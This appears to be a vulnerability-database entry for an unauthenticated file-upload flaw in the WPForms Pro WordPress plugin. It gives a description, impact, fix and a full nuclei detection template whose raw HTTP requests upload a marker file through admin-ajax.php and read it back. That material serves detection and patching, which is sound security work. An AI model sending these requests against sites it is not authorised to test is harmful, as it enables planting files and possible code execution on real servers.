Browse / CVEs / CVE-2026-10818
CVE-2026-10818· awesome-motive / wpforms· CWE-434
WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload
WPForms Pro for WordPress up to and including 1.10.1.1 allows unauthenticated arbitrary file upload. The wpforms_upload_chunk_init, wpforms_upload_chunk and wpforms_file_chunks_uploaded AJAX actions are registered for unauthenticated visitors without a nonce check, and raw chunk bytes are written under wp-content/uploads/wpforms/tmp/ before file extension and MIME type validation happens, so a rejected upload never removes the already written file. An unauthenticated attacker can plant arbitrary files and, depending on server configuration, achieve remote code execution.
Impact
Unauthenticated attackers can plant arbitrary files in the webroot, which can lead to remote code execution when the written file is reachable and interpreted by the server.
Fix
Update WPForms Pro to a version later than 1.10.1.1.
How to confirm it
Send: GET /
Positive when: contains(body, "wpforms-uploader")
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(body, "\"success\":true")
Send: GET /wp-content/uploads/wpforms/tmp/{{chunkname}}-0.chunk
Positive when: contains(body, "{{randstr}}") and status_code == 200Run it with nuclei: nuclei -id CVE-2026-10818 -u <target>
The full check
id: CVE-2026-10818
info:
name: WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload
author: i-am-paradox
severity: high
description: |
WPForms Pro for WordPress up to and including 1.10.1.1 allows unauthenticated arbitrary file upload. The wpforms_upload_chunk_init, wpforms_upload_chunk and wpforms_file_chunks_uploaded AJAX actions are registered for unauthenticated visitors without a nonce check, and raw chunk bytes are written under wp-content/uploads/wpforms/tmp/ before file extension and MIME type validation happens, so a rejected upload never removes the already written file. An unauthenticated attacker can plant arbitrary files and, depending on server configuration, achieve remote code execution.
impact: |
Unauthenticated attackers can plant arbitrary files in the webroot, which can lead to remote code execution when the written file is reachable and interpreted by the server.
remediation: |
Update WPForms Pro to a version later than 1.10.1.1.
reference:
- https://github.com/Nxploited/CVE-2026-10818
- https://nvd.nist.gov/vuln/detail/CVE-2026-10818
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2026-10818
epss-score: 0.02482
epss-percentile: 0.84725
cwe-id: CWE-434
metadata:
verified: true
max-request: 4
vendor: awesome-motive
product: wpforms
shodan-query: http.html:"wpforms-uploader"
fofa-query: body="wpforms-uploader"
tags: cve,cve2026,wordpress,wp-plugin,wpforms,fileupload,unauth,intrusive,vkev
variables:
dzuuid: "{{randstr}}"
chunkname: "{{sha1(dzuuid)}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'contains(body, "wpforms-uploader")'
internal: true
extractors:
- type: regex
name: form_id
regex:
- 'data-form-id="(\d+)"'
group: 1
internal: true
- type: regex
name: field_id
regex:
- 'data-field-id="(\d+)"'
group: 1
internal: true
- type: regex
name: input_name
regex:
- 'data-input-name="([^"]+)"'
group: 1
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpforms_upload_chunk_init&form_id={{form_id}}&field_id={{field_id}}&name=nx-{{randstr}}.txt&dzuuid={{dzuuid}}&dztotalfilesize=32&dztotalchunkcount=1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----nxBoundary
------nxBoundary
Content-Disposition: form-data; name="action"
wpforms_upload_chunk
------nxBoundary
Content-Disposition: form-data; name="form_id"
{{form_id}}
------nxBoundary
Content-Disposition: form-data; name="field_id"
{{field_id}}
------nxBoundary
Content-Disposition: form-data; name="dzuuid"
{{dzuuid}}
------nxBoundary
Content-Disposition: form-data; name="dzchunkindex"
0
------nxBoundary
Content-Disposition: form-data; name="dzchunksize"
32
------nxBoundary
Content-Disposition: form-data; name="dztotalchunkcount"
1
------nxBoundary
Content-Disposition: form-data; name="dzchunkbyteoffset"
0
------nxBoundary
Content-Disposition: form-data; name="{{input_name}}"; filename="nx-{{randstr}}.txt"
Content-Type: text/plain
{{randstr}}
------nxBoundary--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"success\":true")'
condition: and
internal: true
- raw:
- |
GET /wp-content/uploads/wpforms/tmp/{{chunkname}}-0.chunk HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "{{randstr}}")'
- 'status_code == 200'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from